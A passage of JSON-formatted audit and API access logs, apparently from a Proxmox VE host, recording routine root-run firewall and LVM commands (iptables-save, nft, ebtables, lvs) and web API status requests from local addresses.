/api2/json/cluster/tasks HTTP/1.1\" 200 1125"} {"@timestamp":1781964055466,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.466:59395): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965355561,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.561:65264): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62690 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964585996,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964585.996:61641): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59169 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675658,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.658:66614): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966229147,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964055458,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.458:59394): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965355539,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.539:65263): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62689 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964585989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964585.989:61640): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59168 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675650,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.650:66613): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781966229147,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:08 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781964055454,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.454:59393): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965355520,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.520:65262): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62688 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964585984,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964585.984:61639): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0dea00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59167 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675640,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.640:66612): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966229147,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:07 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 479"} {"@timestamp":1781964055451,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.451:59392): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965355515,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.515:65261): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62687 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964585978,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964585.978:61638): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbbda8790 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59166 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965675631,"@rawstring":"node=pve type=EXECVE msg=audit(1781965675.631:66611): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781966227731,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964055450,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.450:59391): argc=1 a0=\"date\""} {"@timestamp":1781965355507,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.507:65260): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62686 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964585972,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964585.972:61637): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc149f50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59165 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965674520,"@rawstring":"node=pve type=EXECVE msg=audit(1781965674.520:66610): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781966227731,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964055446,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.446:59389): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965355501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.501:65259): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5d33b4098740 items=0 ppid=1156 pid=62685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964584.930:61636): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59164 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965674495,"@rawstring":"node=pve type=EXECVE msg=audit(1781965674.495:66609): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781966227731,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:06 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964055438,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.438:59388): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965355500,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.500:65258): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0edfb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62685 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964584922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964584.922:61633): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59163 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965673914,"@rawstring":"node=pve type=EXECVE msg=audit(1781965673.914:66608): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966226737,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1120"} {"@timestamp":1781964055430,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.430:59387): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965355495,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.495:65257): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0ed310 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62684 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964584697,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964584.697:61630): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73edd40 a1=64f8d73b27f0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59160 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965673906,"@rawstring":"node=pve type=EXECVE msg=audit(1781965673.906:66605): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966225729,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:05 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1118"} {"@timestamp":1781964055425,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.425:59386): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965355487,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.487:65256): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0eddd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62683 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964584669,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964584.669:61629): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec1c0 a1=64f8d1382a90 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=59159 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965668900,"@rawstring":"node=pve type=EXECVE msg=audit(1781965668.900:66602): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966225729,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:04 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781964055418,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.418:59385): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965355482,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.482:65255): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f170 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62682 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964579911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964579.911:61628): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59158 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965668890,"@rawstring":"node=pve type=EXECVE msg=audit(1781965668.890:66599): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781966225729,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:04 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964055412,"@rawstring":"node=pve type=EXECVE msg=audit(1781964055.412:59384): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965355477,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.477:65254): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0eddd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62681 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964579900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964579.900:61625): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=59157 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665616,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.616:66596): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966223816,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:02 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964054473,"@rawstring":"node=pve type=EXECVE msg=audit(1781964054.473:59383): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965355472,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.472:65253): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1314c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62680 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964579800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964579.800:61622): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7242570 a1=637ee72539d0 a2=637ee7240ef0 a3=8 items=2 ppid=59153 pid=59155 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665605,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.605:66595): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966222797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:02 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964054437,"@rawstring":"node=pve type=EXECVE msg=audit(1781964054.437:59382): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965355464,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.464:65252): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62679 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964579800,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964579.800:61621): arch=c000003e syscall=59 success=yes exit=0 a0=637ee7252fb0 a1=637ee7252690 a2=637ee7240ef0 a3=8 items=2 ppid=59153 pid=59154 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665604,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.604:66594): argc=1 a0=\"date\""} {"@timestamp":1781966222797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:02 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964052766,"@rawstring":"node=pve type=EXECVE msg=audit(1781964052.766:59381): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965355456,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.456:65251): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62678 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964579798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964579.798:61620): arch=c000003e syscall=59 success=yes exit=0 a0=637ee72538e0 a1=637ee724d8b0 a2=637ee72571e0 a3=8 items=2 ppid=846 pid=59152 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"awk\" exe=\"/usr/bin/mawk\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665597,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.597:66592): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966222797,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964052755,"@rawstring":"node=pve type=EXECVE msg=audit(1781964052.755:59378): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965355453,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.453:65250): arch=c000003e syscall=59 success=yes exit=0 a0=57f9b1dde0a0 a1=57f9b1ddae20 a2=57f9b1dbc680 a3=5 items=2 ppid=62671 pid=62677 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575961,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.961:61619): arch=c000003e syscall=59 success=yes exit=0 a0=60845ecf8d30 a1=60845ed04f40 a2=60845ecd2680 a3=5 items=2 ppid=59145 pid=59151 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665580,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.580:66591): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966222797,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:37:01 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781964047740,"@rawstring":"node=pve type=EXECVE msg=audit(1781964047.740:59375): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965355450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.450:65249): arch=c000003e syscall=59 success=yes exit=0 a0=57f977b9bac8 a1=7fff3db4bb50 a2=57f9b1dbc680 a3=57f977b7f24e items=2 ppid=62671 pid=62673 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575958,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.958:61618): arch=c000003e syscall=59 success=yes exit=0 a0=608427d19ac8 a1=7ffeaa693190 a2=60845ecd2680 a3=608427cfd24e items=2 ppid=59145 pid=59147 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665564,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.564:66590): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966222797,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:01 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964047727,"@rawstring":"node=pve type=EXECVE msg=audit(1781964047.727:59372): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965355450,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.450:65248): arch=c000003e syscall=59 success=yes exit=0 a0=7fff3db4bb10 a1=57f9b1dc3310 a2=57f9b1dbc680 a3=5 items=2 ppid=62671 pid=62672 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.957:61617): arch=c000003e syscall=59 success=yes exit=0 a0=7ffeaa693150 a1=60845ecf43d0 a2=60845ecd2680 a3=5 items=2 ppid=59145 pid=59146 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665543,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.543:66589): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966221813,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:37:00 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781965355444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.444:65246): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62671 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575952,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.952:61615): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=59145 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665532,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.532:66588): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966219786,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781965355438,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.438:65245): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62670 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964575947,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964575.947:61614): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=59144 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965665519,"@rawstring":"node=pve type=EXECVE msg=audit(1781965665.519:66586): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966219786,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:36:58 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 1024"} {"@timestamp":1781965355430,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965355.430:65244): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62669 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} 